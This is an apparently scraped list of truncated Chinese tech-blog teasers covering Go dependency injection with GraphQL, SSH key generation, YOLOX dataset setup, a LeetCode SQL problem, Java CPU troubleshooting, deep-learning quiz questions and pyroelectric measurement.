将 Go 的 Dig 依赖注入框架与 GraphQL 结合使用,可以显著提升应用程序的可维护性、可测试性以及灵活性。 Dig 是一个强大的依赖注入容器,能够帮助开发者更好地管理复杂的依赖关系,而 GraphQL 则是一种用于 API 的查询语言,能够提…...
生成 Git SSH 证书
🔑 1. 生成 SSH 密钥对 在终端(Windows 使用 Git Bash,Mac/Linux 使用 Terminal)执行命令: ssh-keygen -t rsa -b 4096 -C "your_emailexample.com" 参数说明: -t rsa&#x…...
【配置 YOLOX 用于按目录分类的图片数据集】
现在的图标点选越来越多,如何一步解决,采用 YOLOX 目标检测模式则可以轻松解决 要在 YOLOX 中使用按目录分类的图片数据集(每个目录代表一个类别,目录下是该类别的所有图片),你需要进行以下配置步骤&#x…...
leetcodeSQL解题:3564. 季节性销售分析
leetcodeSQL解题:3564. 季节性销售分析 题目: 表:sales ---------------------- | Column Name | Type | ---------------------- | sale_id | int | | product_id | int | | sale_date | date | | quantity | int | | price | decimal | -…...
Java线上CPU飙高问题排查全指南
一、引言 在Java应用的线上运行环境中,CPU飙高是一个常见且棘手的性能问题。当系统出现CPU飙高时,通常会导致应用响应缓慢,甚至服务不可用,严重影响用户体验和业务运行。因此,掌握一套科学有效的CPU飙高问题排查方法&…...
深度学习习题2
1.如果增加神经网络的宽度,精确度会增加到一个特定阈值后,便开始降低。造成这一现象的可能原因是什么? A、即使增加卷积核的数量,只有少部分的核会被用作预测 B、当卷积核数量增加时,神经网络的预测能力会降低 C、当卷…...
佰力博科技与您探讨热释电测量的几种方法
热释电的测量主要涉及热释电系数的测定,这是表征热释电材料性能的重要参数。热释电系数的测量方法主要包括静态法、动态法和积分电荷法。其中,积分电荷法最为常用,其原理是通过测量在电容器上积累的热释电电荷,从而确定热释电系数…...
